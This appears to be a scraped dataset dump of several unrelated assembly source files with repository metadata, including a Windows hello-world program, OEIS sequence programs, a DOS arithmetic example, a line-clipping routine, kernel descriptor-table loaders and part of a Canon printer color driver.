[ "BSD-3-Clause" ]
39
2018-09-03T16:11:27.000Z
2022-01-14T01:22:31.000Z
.model small,pascal,nearstack .386 include win.inc includelib libw.lib extern __astart:proc .data text sbyte "Hello f*** World!",0 title sbyte "Win",0 .code WinMain PROC, hInstance:HANDLE, hPrevInstance:HANDLE, lpszCmdLine:LPSTR, nCmdShow,WORD LOCAL msg:MSG invoke MessageBox, NULL, addr text, addr title, 0 invoke PostQuitMessage,0 .while TRUE invoke GetMessage,addr msg,NULL,0,0 .break .if (ax == 0) invoke TranslateMessage,addr msg invoke DispatchMessage,addr msg .endw WinMain ENDP END __astart
20.111111
89
0.725599
fa86d4cfe1e620c25af510326d0083caa8216f18
421
asm
Assembly
programs/oeis/336/A336691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/336/A336691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/336/A336691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A336691: Number of distinct prime factors of 1+sigma(n). ; 1,1,1,1,1,1,1,1,2,1,1,1,2,1,1,1,1,2,2,1,2,1,1,1,1,1,1,2,1,1,2,1,1,2,1,2,2,1,2,2,1,1,2,2,1,1,1,1,2,2,1,2,2,1,1,1,1,2,1,1,2,1,3,1,2,2,2,1,1,2,1,2,2,2,1,2,1,1,1,2,2,1,2,2,1,2,1,1,2,2,1,1,2,2,1,2,2,2,1,2 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
70.166667
201
0.603325
2b880647b06df2d414eb2cb3b4c9e9a294ed9fd8
294
asm
Assembly
example/3.asm
fengjijiao/assembly-code
1a6791a72623ee5102e230a286328c775f5f5116
[ "MIT" ]
null
null
null
example/3.asm
fengjijiao/assembly-code
1a6791a72623ee5102e230a286328c775f5f5116
[ "MIT" ]
null
null
null
example/3.asm
fengjijiao/assembly-code
1a6791a72623ee5102e230a286328c775f5f5116
[ "MIT" ]
null
null
null
code segment use16 START: MOV AH,1 INT 21H;键入一个1位数,若键入3,则AL=33H SUB AL,30H;将ASCII转为数字,AL=3H MOV DL,AL;DL=3H MOV AH,1 INT 21H;键入另一个1位数,若键入4,则AL=34H SUB AL,30H;AL=4H ADD DL,AL;DL=7H ADD DL,30H;DL=37H MOV AH,2 INT 21H;显示在屏幕上 code ends end START
18.375
33
0.622449
0e5816b7eac1996df512d97d3e8bc3e73fabf05d
31,561
asm
Assembly
ModelRender/CLIP-LL145.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
null
null
null
ModelRender/CLIP-LL145.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
null
null
null
ModelRender/CLIP-LL145.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
null
null
null
;-------------------------------------------------------------------------------------------------------------------- clipDx DB 0 ; also XX12+2 clipDxHigh DB 0 ; also XX12+3 clipDxHighNonABS DB 0 ; also XX12+3 clipDy DB 0 ; also XX12+4 clipDyHigh DB 0 ; also XX12+5 clipGradient DB 0 clipDxySign DB 0 varX12p3 equ clipDxySign clipXGTY DB 0 clipFlags DB 0 SWAP DB 0 varYX DW 0 ;varRegX DB 0 ;varXX12p2 DB 0 clipXX13 DB 0 ; bounds check and the start to avoid dxy calcs if off screen, eliminating off screens first saves a lot of uncessary mul/div ;ClipXX15XX12Line: ClipLine: ld bc,(UbnkPreClipY1) ; bc - XX15(2,3) ld ix,(UbnkPreClipY2) ; ix - XX12(0,1) ld hl,(UbnkPreClipX1) ; hl - XX15(0,1) ld de,(UbnkPreClipX2) ; de - XX15(4,5) xor a ld (SWAP),a ; SWAP = 0 ld a,d ; A = X2Hi .LL147: ld iyh,$BF ; we need to be 191 as its 128 + another bit set from 0 to 6, we are using iyh as regX ; push af ; ld a,iyh ; ld (regX),a ; pop af or ixh ; if (X2Hi L-OR Y2 Hi <> 0) goto LL107 -- X2Y2 off screen jr nz, .LL107 ld a,ixl test $80 ; if screen hight < y2 lo, i.e y2 lo >127 goto LL107, jr nz,.LL107 ld iyh, 0 ; else iyh = regX = 0 -- X2Y2 on screen ; push af ; ld a,iyh ; ld (regX),a ; pop af ; XX13 = regX (i.e. iyh) ( if XX13 = XX13 is 191 if (x2, y2) is off-screen else 0) we bin XX13 as not needed ; so XX13 = 0 if x2_hi = y2_hi = 0, y2_lo is on-screen, XX13 = 191 if x2_hi or y2_hi are non-zero or y2_lo is off the bottom of the screen .LL107 ld a,iyh ld (clipXX13),a ; debug copy iyh to xx13 ld a,h ; If (X1 hi L-OR Y1) hi goto LL83 -- X1Y1 off screen and maybe X2Y2 or b ; jr nz,.LL83 ; ld a,c ; or (y1 lo > bottom of screen) test $80 ; i.e screen height < y1) jr nz,.LL83 ; If we get here, (x1, y1) is on-screen ld a,iyh ; iyh = xx13 at this point if XX13 <> 0 goto LL108 -- X1Y1 on screen, if we flagged X2Y2 off screen goto LL108 cp 0 jr nz, .LL108 ; Finished clipping exit point ---------------------------------------------------------------------------------------- .ClipDone: ld a,c ; LL146 (Clip Done) Y1 = y1 lo, x2 = x2 lo, x1 = x1 lo y1 = y1 lo -- Nothing off screen ld (UBnkNewY1),a ld a,ixl ld (UBnkNewY2),a ld a,l ld (UBnkNewX1),a ld a,e ld (UBnkNewX2),a ClearCarryFlag ; carry is clear so valid to plot is in XX15(0to3) ret ; 2nd pro different, it swops based on swop flag around here. ; Finished out of bounds exit point ----------------------------------------------------------------------------------- .PointsOutofBounds: scf ; LL109 (ClipFailed) carry flag set as not visible ret .LL108: ld a,iyh or a rra ld iyh,a ; (X2Y2 Off Screen) XX13 = 95 (i.e. divide it by 2) -- X1Y1 on screen X2Y2 off screen ; push af ;OPTIMISATION 6/11/21 commented out ; ld a,iyh ;OPTIMISATION 6/11/21 commented out ; ld (regX),a ;OPTIMISATION 6/11/21 commented out ; pop af ;OPTIMISATION 6/11/21 commented out .LL83: ld a,iyh ; (Line On screen Test) if XX13 < 128 then only 1 point is on screen so goto LL115 -- We only need to deal with X2Y2 test $80 ; jr z, .LL115 ; ld a,h ; If both x1_hi and x2_hi have bit 7 set, jump to LL109 to return from the subroutine with the C flag set, as the entire line is above the top of the screen and d JumpIfNegative .PointsOutofBounds ld a,b ; If both y1_hi and y2_hi have bit 7 set, jump to LL109 to return from the subroutine with the C flag set, as the entire line is above the top of the screen and ixh JumpIfNegative .PointsOutofBounds ld a,h ; If neither (x1_hi - 1) or (x2_hi - 1) have bit 7 set, jump to LL109 to return from the subroutine with the C flag set, as the line doesn't fit on-screen dec a ld iyl,a ; using iyl as XX12+2 var ; push af ;OPTIMISATION 6/11/21 commented out ; ld a,iyl ;OPTIMISATION 6/11/21 commented out ; ld (varXX12p2),a ;OPTIMISATION 6/11/21 commented out ; pop af ;OPTIMISATION 6/11/21 commented out ld a,d ; a = x2 hi dec a or iyl ; (x2 hi -1 ) or (x1 hi -1) JumpIfPositive .PointsOutofBounds ; if both x1 and x2hi were > 0 then subtracting 1 would result in 0..254 so either being negative means it was 0 before ;by here we have eliminated -ve Y1 bounds so can just test for positive high and bit 7 of lo ld a,ixh dec a ld iyl,a ld a,b dec a or iyl JumpIfPositive .PointsOutofBounds ; if both x1 and x2hi were > 0 then subtracting 1 would result in 0..254 so either being negative means it was 0 before ld a,c and ixl JumpIfNegative .PointsOutofBounds ; really if both are > 127 ; Clip line: calulate the line's gradient ; here as an optimisation we make sure X1 is always < X2 later on .LL115: ClearCarryFlag .CalcDX: push hl,,de ex hl,de ; so hl is x2 and de = x1 sbc hl,de ; pop de ; we need de back ld (clipDx),hl ld a,h ld (clipDxHighNonABS),a ; ld a,e ;a = x2 lo ; sbc a,l ;a= a - x1 ; ld (clipDx),a ; ld a,d ; sbc a,h ; ld (clipDxHigh),a ; later we will just move to sub hl,de ; ld (clipDxHighNonABS),a ; it looks liek we need this later post scale loop .CalcDy: ClearCarryFlag ld hl,ix sbc hl,bc ld de,hl ;;OPTIMISATION 6/11/21 ld (clipDy),hl ;OPTIMISATION 6/11/21 commented out .CalcQuadrant: ld a,h ; ld a,ixl ; sbc c ; ld (clipDy),a ; ld a,ixh ; sbc a,b ; ld (clipDyHigh),a ; so A = sign of deltay in effect ; pop hl ;So we now have delta_x in XX12(3 2), delta_y in XX12(5 4) where the delta is (x1, y1) - (x2, y2)) ; push hl ; Set S = the sign of delta_x * the sign of delta_y, so if bit 7 of S is set, the deltas have different signs ld hl,clipDxHigh xor (hl) ; now a = sign dx xor sign dy ld (varS),a ; DEBGU putting it in var S too for now ld (clipDxySign),a .AbsDy: ld a,(clipDyHigh) test $80 jr z,.LL110 ; If delta_y_hi is positive, jump down to LL110 to skip the following ld hl,(clipDy) ;OPTIMISATION 6/11/21 commented out macronegate16de ; Otherwise flip the sign of delta_y to make it positive, starting with the low bytes ld (clipDy),hl ;OPTIMISATION 6/11/21 commented out .LL110: ld hl,(clipDx) ld a,(clipDxHigh) test $80 ; is it a negative X jr z,.LL111 ; If delta_x_hi is positive, jump down to LL110 to skip the following ;ld hl,(clipDx) ;OPTIMISATION 6/11/21 commented out macronegate16hl ; Otherwise flip the sign of delta_y to make it positive, starting with the low bytes ; ld (clipDx),hl ;OPTIMISATION 6/11/21 commented out; we still retain the old sign in NonABS version .LL111: ; push de ; ld hl,(clipDx) ;OPTIMISATION 6/11/21 commented out ; ld de,(clipDy) ;OPTIMISATION 6/11/21 commented out .ScaleLoop: ld a,h ; At this point DX and DY are ABS values or d jr z,.CalculateDelta: ShiftDERight1 ShiftHLRight1 jr .ScaleLoop ; scaled down Dx and Dy to 8 bit, Dy may have been negative .CalculateDelta: ;ld (clipDx),hl ;OPTIMISATION 6/11/21 commented out ;ld (clipDy),de ;OPTIMISATION 6/11/21 commented out ; By now, the high bytes of both |delta_x| and |delta_y| are zero We know that h and d are both = 0 as that's what we tested with a BEQ .LL113: xor a ld (varT),a ; t = 0 ld a,l ; If delta_x_lo < delta_y_lo, so our line is more vertical than horizontal, jump to LL114 JumpIfALTNusng e, .LL114 ; ; Here Dx >= Dy sp calculate Delta Y / delta X .DxGTEDy: ld (varQ),a ; Set Q = delta_x_lo ld d,a ; d = also Q for calc ld a,e ; Set A = delta_y_lo call LL28Amul256DivD ; Call LL28 to calculate: R (actually a reg) = 256 * A / Q = 256 * delta_y_lo / delta_x_lo ld (varR),a ; jr .LL116 ; Jump to LL116, as we now have the line's gradient in R ; Here Delta Y > Delta X so calulate delta X / delta Y .LL114: ld a,e ; Set Q = delta_y_lo ld d,a ld (varQ),a ld a,l ; Set A = delta_x_lo call LL28Amul256DivD ; Call LL28 to calculate: R = 256 * A / Q = 256 * delta_x_lo / delta_y_lo ld (varR),a ; ld hl,varT ; T was set to 0 above, so this sets T = &FF dec (hl) .LL116: pop de ; get back X2 pop hl ; get back X1 into hl, ld a,(varR) ; Store the gradient in XX12+2 this can be optimised later ld (clipGradient),a ld iyl,a ; push af ;OPTIMISATION 6/11/21 commented out ; ld a,iyl ;OPTIMISATION 6/11/21 commented out ; ld (varXX12p2),a ;OPTIMISATION 6/11/21 commented out ; pop af ;OPTIMISATION 6/11/21 commented out ld a,(varS) ld (clipDxySign),a ; Store the type of slope in XX12+3, bit 7 clear means ?Not needed as clipDxySign is used for varS earlier? ; top left to bottom right, bit 7 set means top right to bottom left **CODE IS WRONG HERE A TEST IS BL to TR ld a,iyh ; iyh was XX13 from earlier cp 0 ; If XX13 = 0, skip the following instruction jr z,.LL138 ; test $80 ; If XX13 is positive, it must be 95. This means (x1, y1) is on-screen but (x2, y2) isn't, so we jump to LLX117 to swap the (x1, y1) and (x2, y2) jr z,.LLX117 ; coordinates around before doing the actual clipping, because we need to clip (x2, y2) but the clipping routine at LL118 only clips (x1, y1) ; If we get here, XX13 = 0 or 191, so (x1, y1) is off-screen and needs clipping .LL138 call ClipPointHLBC ; Call LL118 to move (x1, y1) along the line onto the screen, i.e. clip the line at the (x1, y1) end ld a,iyh ; If XX13 = 0, i.e. (x2, y2) is on-screen, jump down to LL124 to return with a successfully clipped line test $80 jr z,.LL124 ; If we get here, XX13 = 191 (both coordinates are off-screen) .LL117: ld a,h ; If either of x1_hi or y1_hi are non-zero, jump to or b ; LL137 to return from the subroutine with the C flag jp nz, .PointsOutofBounds ; set, as the line doesn't fit on-screen or c ; if x1 and y1 hi are both zero test bit 8 or Y1 to see if its > 128 jp m, .PointsOutofBounds ; set, as the line doesn't fit on-screen ; If we get here, XX13 = 95 or 191, and in both cases (x2, y2) is off-screen, so we now need to swap the (x1, y1) and (x2, y2) coordinates around before doing ; the actual clipping, because we need to clip (x2, y2) but the clipping routine at LL118 only clips (x1, y1) .LLX117: ex de,hl ; swap X1 and X2 push ix ; swap Y1 and Y2 push bc pop ix pop bc call ClipPointHLBC ; Call LL118 to move (x1, y1) along the line onto the screen, i.e. clip the line at the (x1, y1) end ld a,(SWAP) dec a ld (SWAP),a ; Set SWAP = &FF to indicate that we just clipped the line at the (x2, y2) end by swapping the coordinates (the DEC does this as we set SWAP to 0 at the start of this subroutine) .LL124: jp .ClipDone ; now put points in place ; Move a point along a line until it is on-screen point is held in HL(X) BC(Y) LL118 ; iyh still holds XX13 iyl still holds gradient ClipPointHLBC: ld a,h ; If x1_hi is positive, jump down to LL119 to skip the following test $80 jr z,.LL119 .X1isNegative: ld (varS),a ; Otherwise x1_hi is negative, i.e. off the left of the screen, so set S = x1_hi push hl,,de,,bc call LL120 ; Call LL120 to calculate: (Y X) = (S x1_lo) * XX12+2 if T = 0 = x1 * gradient ; (Y X) = (S x1_lo) / XX12+2 if T <> 0 = x1 / gradient ; with the sign of (Y X) set to the opposite of the line's direction of slope pop hl,,de,,bc ; get coordinates back ld hl,(varYX) ; ex hl,de ; ld hl,bc add hl,bc ; y1 = y1 + varYX ld bc,hl ld hl,0 ; Set x1 = 0 ; pop de jr .LL134 ; in BBC is set x to 0 to force jump, we will just jump .LL119: cp 0 jr z,.LL134 ; If x1_hi = 0 then jump down to LL134 to skip the following, as the x-coordinate is already on-screen (as 0 <= (x_hi x_lo) <= 255) dec a ld (varS),a ; Otherwise x1_hi is positive, i.e. x1 >= 256 and off the right side of the screen, so set S = x1_hi - 1 push hl,,de,,bc call LL120 ; Call LL120 to calculate: (Y X) = (S x1_lo) * XX12+2 if T = 0 = (x1 - 256) * gradient ; (Y X) = (S x1_lo) / XX12+2 if T <> 0 = (x1 - 256) / gradient ; with the sign of (Y X) set to the opposite of theline's direction of slope pop hl,,de,,bc ; push de ; Set y1 = y1 + (Y X) ld hl,(varYX) ; ex de,hl ;OPTIMISATION 6/11/21 commented out add hl,bc ;OPTIMISATION 6/11/21 simplfied post debug ld bc,hl ;OPTIMISATION 6/11/21 simplfied post debug ; ex hl,de ;OPTIMISATION 6/11/21 commented out ; ld hl,bc ;OPTIMISATION 6/11/21 commented out ; add hl,de ; y1 = y1 + varYX ld hl,255 ; Set x1 = 255 ; pop de ; We have moved the point so the x-coordinate is on screen (i.e. in the range 0-255), so now for they-coordinate .LL134: ld a,b ; If y1_hi is positive, jump down to LL135 to skip the following test $80 ; jr z,.LL135 ; ld (varS),a ; Otherwise y1_hi is negative, i.e. off the top of the screen, so set S = y1_hi ld a,c ; Set R = y1_lo ld (varR),a ; push hl,,de,,bc call LL123 ; Call LL123 to calculate: (Y X) = (S R) / XX12+2 if T = 0 = y1 / gradient ; (Y X) = (S R) * XX12+2 if T <> 0 = y1 * gradient ; with the sign of (Y X) set to the opposite of the line's direction of slope pop hl,,de,,bc push de ex hl,de ; de = x1 ld hl,(varYX) ; hl = varYX add hl,de ; we don't need to swap back as its an add, Set x1 = x1 + (Y X) pop de ; de = x2 again ld bc,0 ; Set y1 = 0 .LL135: ld a,c ; if bc < 128 then no work to do and $80 or b ; here we see if c bit 8 is set or anything in b as we know if its 0 this would mean there is no need to clip ret z push hl ld hl,bc ld bc,128 or a sbc hl,bc ; hl = (S R) = (y1_hi y1_lo) - 128 ld (varRS), hl ; and now RS (or SR) ld a,h pop hl test $80 ; If the subtraction underflowed, i.e. if y1 < 192, then y1 is already on-screen, so jump to LL136 to return from the subroutine, as we are done ret nz ; If we get here then y1 >= 192, i.e. off the bottom of the screen .LL139: push hl,,de,,bc call LL123 ; Call LL123 to calculate: (Y X) = (S R) / XX12+2 if T = 0 = y1 / gradient ; (Y X) = (S R) * XX12+2 if T <> 0 = y1 * gradient ; with the sign of (Y X) set to the opposite of the line's direction of slope pop hl,,de,,bc push de ex hl,de ld hl,(varYX) add hl,de ; we don't need to swap back as its an add, Set x1 = x1 + (Y X) ld bc,127 ; set bc to 127 bottom of screen pop de .LL136: ret ; Return from the subroutine ; Calculate the following: * If T = 0 (more vertical than horizontal), (Y X) = (S x1_lo) * XX12+2 ; * If T <> 0 (more horizontal than vertical), (Y X) = (S x1_lo) / XX12+2 ; giving (Y X) the opposite sign to the slope direction in XX12+3. ; Other entry points LL122 Calculate (Y X) = (S R) * Q and set the sign to the opposite of the top byte on the stack LL120: ld a,l ; Set R = x1_lo ld (varR),a call LL129 ; Call LL129 to do the following: Q = XX12+2 = line gradient A = S EOR XX12+3 = S EOR slope direction (S R) = |S R| So A contains the sign of S * slope direction push af ; Store A on the stack so we can use it later push bc ld b,a ld a,(varT) ; instead : (Y X) = (S R ) / Q cp 0 ld a,b pop bc ; we can't use af as that would disrupt the flags jr nz, LL121 ; The following calculates: (Y X) = (S R) * Q using the same shift-and-add algorithm that's documented in MULT1 LL122: ld a,(clipGradient) ld (varQ),a; optimise call HLequSRmulQdiv256 ld (varYX),hl pop af test $80 jp z,LL133 ret ; Calculate the following: * If T = 0, calculate (Y X) = (S R) / XX12+2 (actually SR & XX12+2 /256) ; * If T <> 0, calculate (Y X) = (S R) * XX12+2 ; giving (Y X) the opposite sign to the slope direction in XX12+3. ; ; Other entry points: LL121 Calculate (Y X) = (S R) / Q and set the sign to the opposite of the top byte on the stack ; LL133 Negate (Y X) and return from the subroutine ; LL128 Contains an RTS LL123: call LL129 ; Call LL129 to do the following: Q = XX12+2 = line gradient A = S EOR XX12+3 = S EOR slope direction (S R) = |S R| So A contains the sign of S * slope direction push af ; Store A on the stack so we can use it later push bc ; If T is non-zero, so it's more horizontal than vertical, jump down to LL121 to calculate this ld b,a ld a,(varT) ; instead : (Y X) = (S R) * Q *** this looks to be the wrong way roudn for Y!!!! cp 0 ld a,b pop bc jr nz, LL122 ; The following calculates: (Y X) = (S R) / Q using the same shift-and-subtract algorithm that's documented in TIS2, its actually X.Y=R.S*256/Q LL121: ld de,$FFFE ; set XY to &FFFE at start, de holds XY ld hl,(varRS) ; hl = RS ld a,(varQ) ld b,a ; b = q .LL130: ShiftHLLeft1 ; RS *= 2 ld a,h jr c,.LL131 ; if S overflowed skip Q test and do subtractions JumpIfALTNusng b, .LL132 ; if S < Q = 256/gradient skip subtractions .LL131: ccf ; compliment carry sbc a,b ; q ld h,a ; h (s) ld a,l ; r sbc a,0 ; 0 - so in effect SR - Q*256 scf ; set carry for next rolls ccf .LL132: RollDELeft1 ; Rotate de bits left jr c,.LL130 ; ld (varYX),de pop af ; get back sign test $80 ret z ; if negative then return with value as is reversed sign LL133: ld hl,(varYX) ; may not actually need this? NegHL ld (varYX),hl LL128: ret ; Do the following, in this order: Q = XX12+2 ; A = S EOR XX12+3 ; (S R) = |S R| ; This sets up the variables required above to calculate (S R) / XX12+2 and give the result the opposite sign to XX13+3. LL129: ld a,(clipGradient) ld (varQ),a ;Set Q = XX12+2 ld a,(varS) ; If S is positive, jump to LL127 push hl,,af test $80 jr z,.LL127 ld hl,(varRS) ; else SR = | SR| NegHL ld (varRS),hl .LL127: ld hl,clipDxySign pop af xor (hl) ; a = S XOR clipDxySign pop hl ret
78.315136
239
0.360096
0cf057fa6cfd493f49808cf244c6452c0303a70e
54
asm
Assembly
tests/rule_simple/14.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
414
2016-10-14T22:39:20.000Z
2022-03-30T07:52:44.000Z
tests/rule_simple/14.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
100
2018-03-22T16:12:24.000Z
2022-03-26T09:19:23.000Z
tests/rule_simple/14.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
47
2017-06-29T15:12:13.000Z
2022-03-10T04:50:51.000Z
#ruledef "test" ; error: expected { halt => 0x55 }
13.5
33
0.592593
183e4a494f541c76ef9ad2659902a7f686fe8721
263
asm
Assembly
programs/oeis/137/A137325.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/137/A137325.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/137/A137325.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A137325: Number of terms in the Janet periodic table of the elements 32 columns: ordered 14 2's, 10 4's, 6 6's, 2 8's. ; 2,2,2,2,2,2,2,2,2,2,2,2,2,2,4,4,4,4,4,4,4,4,4,4,6,6,6,6,6,6,8,8 sub $0,1 pow $0,2 div $0,165 mov $1,$0 add $1,1 div $1,2 mul $1,2 add $1,2
21.916667
120
0.608365
e027bc95466ba12c2593b5b75a319431323b3995
1,075
asm
Assembly
src/kernel/cpu/descriptor.asm
cashlisa/mos
75165d1a63a6aa172001bbd9a1df441ff9c15038
[ "MIT" ]
302
2019-05-20T12:45:37.000Z
2022-03-29T07:27:43.000Z
src/kernel/cpu/descriptor.asm
huytd/mos
a9d8f925b87fcc56b94ff5933403f46a3146e1bf
[ "MIT" ]
12
2020-03-27T13:04:53.000Z
2021-12-07T12:26:29.000Z
src/kernel/cpu/descriptor.asm
huytd/mos
a9d8f925b87fcc56b94ff5933403f46a3146e1bf
[ "MIT" ]
33
2020-04-08T15:40:44.000Z
2022-03-12T03:26:07.000Z
[global gdt_flush] ; Allows the C code to call gdt_flush(). gdt_flush: mov eax, [esp+4] ; Get the pointer to the GDT, passed as a parameter. lgdt [eax] ; Load the new GDT pointer mov ax, 0x10 ; 0x10 is the offset in the GDT to our data segment mov ds, ax ; Load all data segment selectors mov es, ax mov fs, ax mov gs, ax mov ss, ax jmp 0x08:.flush ; 0x08 is the offset to our code segment: Far jump! .flush: ret [global idt_flush] ; Allows the C code to call idt_flush(). idt_flush: mov eax, [esp+4] ; Get the pointer to the IDT, passed as a parameter. lidt [eax] ; Load the IDT pointer. ret [global tss_flush] ; Allows our C code to call tss_flush(). tss_flush: mov ax, 0x2B ; Load the index of our TSS structure - The index is ; 0x28, as it is the 5th selector and each is 8 bytes ; long, but we set the bottom two bits (making 0x2B) ; so that it has an RPL of 3, not zero. ltr ax ; Load 0x2B into the task state register. ret
33.59375
75
0.623256
0834913271365992de374c87125a3d01c0bdb1e0
8,973
asm
Assembly
Driver/Printer/DotMatrix/CanonRGB/canonRGBColor.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/DotMatrix/CanonRGB/canonRGBColor.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/DotMatrix/CanonRGB/canonRGBColor.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GlobalPC 1999. All rights reserved. GLOBALPC CONFIDENTIAL PROJECT: GlobalPC MODULE: Canon RGB Printer Driver FILE: canonRGBColor.asm AUTHOR: Joon Song, Feb 09, 1999 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- joon 2/09/99 Initial revision DESCRIPTION: $Id$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CMYKColorLibInitialize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize RGB to CMYK Conversion Library CALLED BY: VidInit PASS: es = PState segment RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- joon 2/08/99 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CMYKColorLibInitialize proc near uses ax,bx,cx,dx,si,di,bp,ds .enter mov bl, es:[PS_printerType] andnf bl, mask PT_COLOR cmp bl, BMF_MONO LONG je done mov ax, size CLInfo mov cx, ALLOC_FIXED or (mask HAF_NO_ERR shl 8) call MemAlloc mov es:[PS_jobParams][JP_printerData][CPUID_clInfo], bx call MemDerefDS ; Initialize rgbToCmykInfo structure cmp es:[PS_device], PD_CANON_BJC2000 je bjc2000 cmp es:[PS_device], PD_CANON_BJC2100 je bjc2000 cmp es:[PS_device], PD_GLOBALPC_BJC2120 je bjc2000 cmp es:[PS_device], PD_GLOBALPC_BJC2120_MONO je bjc2000 cmp es:[PS_device], PD_GLOBALPC_BJC2112 je bjc2000 cmp es:[PS_device], PD_GLOBALPC_BJC2112_MONO je bjc2000 EC < cmp es:[PS_device], PD_CANON_BJC1000_COLOR > EC < ERROR_NE CANON_RGB_UNEXPECTED_DEVICE > push BJD_PM_BJC1000 call CLGetPrinterModel add sp, 2 mov ds:[fPrintType], ax push BJD_IT_BC05 call CLGetInkType add sp, 2 mov ds:[fInkSystemType], ax jmp setPaper bjc2000: push BJD_PM_BJC2000 call CLGetPrinterModel add sp, 2 mov ds:[fPrintType], ax push BJD_IT_BC21 call CLGetInkType add sp, 2 mov ds:[fInkSystemType], ax setPaper: push BJD_MT_PLAINPAPER call CLGetMediaType add sp, 2 mov ds:[fMediaType], ax mov ds:[fUseDither], USE_DITHER mov ds:[fBitsPerPixel], 24 mov ax, LOW_RES_X_RES cmp es:[PS_mode], PM_GRAPHICS_LOW_RES je gotRes mov ax, MED_RES_X_RES cmp es:[PS_mode], PM_GRAPHICS_MED_RES je gotRes mov ax, HI_RES_X_RES ; mov ds:[fBitsPerPixel], 8 ; use 8-bit color for hi-res gotRes: mov ds:[fRGBResolution], ax mul es:[PS_customWidth] ; dx:ax = paperWidth * res mov cx, 72 div cx ; ax = paperWidth * res / 72 mov ds:[fRGBLineWidth], ax mov ds:[fRGBWidthPixel], ax push es push ds push 0 call CLInitialize add sp, 4 EC < cmp ax, CL_ERROR > EC < ERROR_E CANON_RGB_CANON_LIBRARY_INTERNAL_ERROR > pop es ; Allocate memory for RGB to CMYK conversion library mov ax, ds:[fRGBBufferSize] add ax, ds:[fCMMBufferSize].low EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fCMYKBufferSize][0] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fCMYKBufferSize][2] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fCMYKBufferSize][4] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fCMYKBufferSize][6] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > ; According to Joon, the original author of this code, ; these buffers should not be needed by the final version ; of the rgb2cmyk library, but after stepping through the ; initialization routines in that library it is clear that ; these buffers are accessed. -Don 10/1/99 ;;;if (not USE_DITHER) add ax, ds:[fEDBufferSize][0] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fEDBufferSize][2] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fEDBufferSize][4] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > add ax, ds:[fEDBufferSize][6] EC < ERROR_C CANON_RGB_COLOR_BUFFER_OVERFLOW > ;;;endif mov cx, ALLOC_DYNAMIC_NO_ERR call MemAlloc mov es:[PS_jobParams][JP_printerData][CPUID_dataBuffer], bx ; Start color conversion call CMYKColorLibLockBuffers push es push ds push 0 call CLStart add sp, 4 EC < cmp ax, CL_ERROR > EC < ERROR_E CANON_RGB_CANON_LIBRARY_INTERNAL_ERROR > pop es call CMYKColorLibUnlockBuffers done: .leave ret CMYKColorLibInitialize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CMYKColorLibEnd 